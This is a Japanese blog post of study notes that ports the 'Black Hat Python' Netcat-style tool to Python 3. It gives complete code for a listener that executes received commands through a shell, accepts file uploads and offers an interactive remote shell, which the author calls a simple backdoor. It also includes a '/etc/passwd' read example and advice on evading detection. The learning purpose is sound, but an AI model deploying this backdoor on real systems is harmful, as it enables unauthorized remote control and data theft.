本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。
今回は、前回までで学んだPythonのsocketを使ったTCP通信の実装をもとに、Unix系のOSでお馴染みのNetcat(nsコマンド)に代わるツールを作成します。
- Netcatとは
- ライブラリのインポート
- argparseを使ったコマンドラインオプションのチェック
- クライアントモードの実装
- サーバモードの実装
- コマンドの実行
- オプション処理の実装
- メイン関数の実装
- ファイルをアップロードしてみる
- コマンドシェルを起動してみる
- 最後に
- 参考書籍
Netcatとは
Netcatは、TCPおよびUDPを使ったコマンドラインツールです。
その歴史は古く、1995年にバージョン1.00がリリースされて以降、ネットワークの簡易テストからバックドアの作成まで、その豊富なオプションやシェルと組み合わせて使ったりと、様々な用途に用いられています。
なお、現行のLinuxディストリビューションにおいては、ncコマンドとしてデフォルトでインストールされていますが、任意のプログラム('/bin/sh'など)を実行できる"-e"のオプションは、バックドアの作成などに悪用されるため無効となっています。
ライブラリのインポート
今回は以下のライブラリを使用します。
# bhnet.py import sys import socket import argparse from threading import Thread import subprocess
argparseを使ったコマンドラインオプションのチェック
書籍ではgetoptを使用して引数のチェックを行っていますが、ここではargpaseを使って書き直してみました。
argparseの基本的な使い方についてはこちらをご覧ください。
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description='BHP Net Tool', epilog='''\ Examples: bhnet.py -t 192.168.0.1 -p 5555 -l -c bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe bhnet.py -t 192.168.0.1 -p 5555 -l -e 'cat /etc/passwd' echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135''') parser.add_argument('-l', '--listen', help='listen on [host]:[port] for incoming connections', action='store_true') parser.add_argument('-e', '--execute', default=None, help='execute the given file upon receiving a connection') parser.add_argument('-c', '--command', help='initialize a command shell', action='store_true') parser.add_argument('-u', '--upload', help='upon receiving connection upload a file and write to [destination]') parser.add_argument('-t', '--target', default=None) parser.add_argument('-p', '--port', default=None, type=int) args = parser.parse_args()
getoptを使うよりも見やすく、コードもすっきりしたと思います。
実際にヘルプを表示すると以下のようになります。
> python bhnet.py -h usage: bhnet.py [-h] [-l] [-e EXECUTE] [-c] [-u UPLOAD] [-t TARGET] [-p PORT] BHP Net Tool optional arguments: -h, --help show this help message and exit -l, --listen listen on [host]:[port] for incoming connections -e EXECUTE, --execute EXECUTE execute the given file upon receiving a connection -c, --command initialize a command shell -u UPLOAD, --upload UPLOAD upon receiving connection upload a file and write to [destination] -t TARGET, --target TARGET -p PORT, --port PORT Examples: bhnet.py -t 192.168.0.1 -p 5555 -l -c bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\target.exe bhnet.py -t 192.168.0.1 -p 5555 -l -e 'cat /etc/passwd' echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135
クライアントモードの実装
クライアントとして、リモートサーバに接続した場合のデータ送受信を行う部分になります。
def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: client.connect((args.target, args.port)) if len(buffer): client.send(buffer) while True: recv_len = 1 response = '' while recv_len: data = client.recv(4096) recv_len = len(data) response += data.decode('utf-8') if recv_len < 4096: break print(response.rstrip(), end='') buffer = input() if buffer == '': continue if buffer == 'exit': client.send(b'exit') break client.send(buffer.encode('utf-8')) client.close() except: print('[*] Exception! Exiting.') client.close()
クライアントから"exit"の入力を受けたら接続を終了するようにしています。
サーバモードの実装
サーバとして、クライアントからの接続を処理する部分になります。
def server_loop(): if not args.target: args.target = '0.0.0.0' server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((args.target, args.port)) server.listen(5) while True: client_socket, addr = server.accept() client_thread = Thread(target=client_handler, args=[client_socket,]) client_thread.start()
3行目では、引数に使用するインターフェースのIPアドレスが指定されなかった場合は"0.0.0.0"として、アクティブな全てのインターフェースを使用するようにします。
コマンドの実行
subprocessを使ってクライアントから送られてきたコマンドを実行します。
def run_command(command): command = command.rstrip() try: output = subprocess.check_output( command,stderr=subprocess.STDOUT, shell=True) except: output = b'Failed to execute command.' return output
2行目はクライアントから送られてきたデータの改行文字を取り除きます。
なお、実行したコマンドの結果を返り値とします。
オプション処理の実装
サーバモードで起動した際に付与したオプション(コマンド実行、コマンドシェルの実行、ファイルアップロード)を読み取り、それに応じた処理を実装します。
def client_handler(client_socket): if args.upload: file_buffer = b'' while True: data = client_socket.recv(1024) file_buffer += data if len(data) < 1024: break try: file_descriptor = open(args.upload, 'wb') file_descriptor.write(file_buffer) file_descriptor.close() client_socket.send('Successfully saved file to {}'.format(args.upload).encode('utf-8')) except: client_socket.send('Failed to save file to {}'.format(args.upload).encode('utf-8')) if args.execute: output = run_command(args.execute) client_socket.send(output) if args.command: prompt = b'<BH:#> ' client_socket.send(prompt) while True: recv_len = 1 cmd_buffer = '' while recv_len: buffer = client_socket.recv(1024) recv_len = len(buffer) cmd_buffer += buffer.decode('utf-8') if recv_len < 1024: break if cmd_buffer == 'exit': client_socket.close() break response = run_command(cmd_buffer) client_socket.send(response + prompt)
メイン関数の実装
最後にメイン関数を実装していきます。
クライアントモードおよびサーバモードで起動するのに必要な引数(オプション)がなかった場合は、ヘルプを表示してそのまま終了します。
def main(): if not args.listen and args.target and args.port: buffer = sys.stdin.read() client_sender(buffer.encode('utf-8')) elif args.listen: server_loop() else: parser.print_help() sys.exit(1) if __name__ == '__main__': main()
ファイルをアップロードしてみる
まずスクリプトをWSL Ubuntu上でスクリプトをサーバモードで起動します。
> python3 bhnet.py -lp 8000 -u hoge
"-l"でサーバモードで起動し、"-p"で指定したポートで接続を待ちます。
"-u"で指定したファイル名(ここでは"hoge")で保存します。
コマンドプロンプトを起動し、クライアントモードでファイルをアップロードします。
> type test.txt | python .\bhnet.py -t 127.0.0.1 -p 8000 Successfully saved file to hoge[*] Exception! Exiting.
コマンドシェルを起動してみる
次はWSLのUbuntuからコマンドシェルオプションを付けて、サーバを起動します。
> python3 bhnet.py -lp 8000 -c
コマンドプロンプトからクライアントモードで起動し、サーバにアクセスします。
なお、接続時はEOFに達するまで標準入力から読み込む仕様になっているので、"Ctrl+Z"を入力して、サーバからプロンプトを受信します。
> python .\bhnet.py -t 127.0.0.1 -p 8000 ^Z <BH:#>ls bhnet.py hoge <BH:#>cat hoge test file uploading. <BH:#>exit
最初にlsコマンドを実行し、その後に前述でアップロードした"hoge"ファイルをcatコマンドで表示しています。
最後に
以上がPythonで実装したNetcatライクなコマンドラインツールになります。
簡単なバックドアとして機能しますが、暗号化していないのとポートを開放しなければならないため、ファイアウォールやセキュリティソフト等にすぐ検知されてしまいます。
そのため、実際には「2.7 Paramikoを用いたSSH通信プログラムの作成」の項で説明されている通信の暗号化およびリバースシェルのような機能を実装したほうが重宝されると思います。